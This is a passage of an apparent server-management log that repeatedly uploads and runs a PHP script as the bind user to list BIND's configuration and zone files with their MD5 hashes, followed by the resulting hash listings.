MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-11-18 16:34:35: Establishing a connection
2025-11-18 16:34:35: 

PUT: /tmp/pkp376077

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-11-18 16:34:35: 

runuser -l bind -s /bin/bash -c '/tmp/pkp376077; rm /tmp/pkp376077'

2025-11-18 16:34:36: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-11-18 16:34:37: Establishing a connection
2025-11-18 16:34:37: 

PUT: /tmp/pkp113607

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-11-18 16:34:37: 

runuser -l bind -s /bin/bash -c '/tmp/pkp113607; rm /tmp/pkp113607'

2025-11-18 16:34:37: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
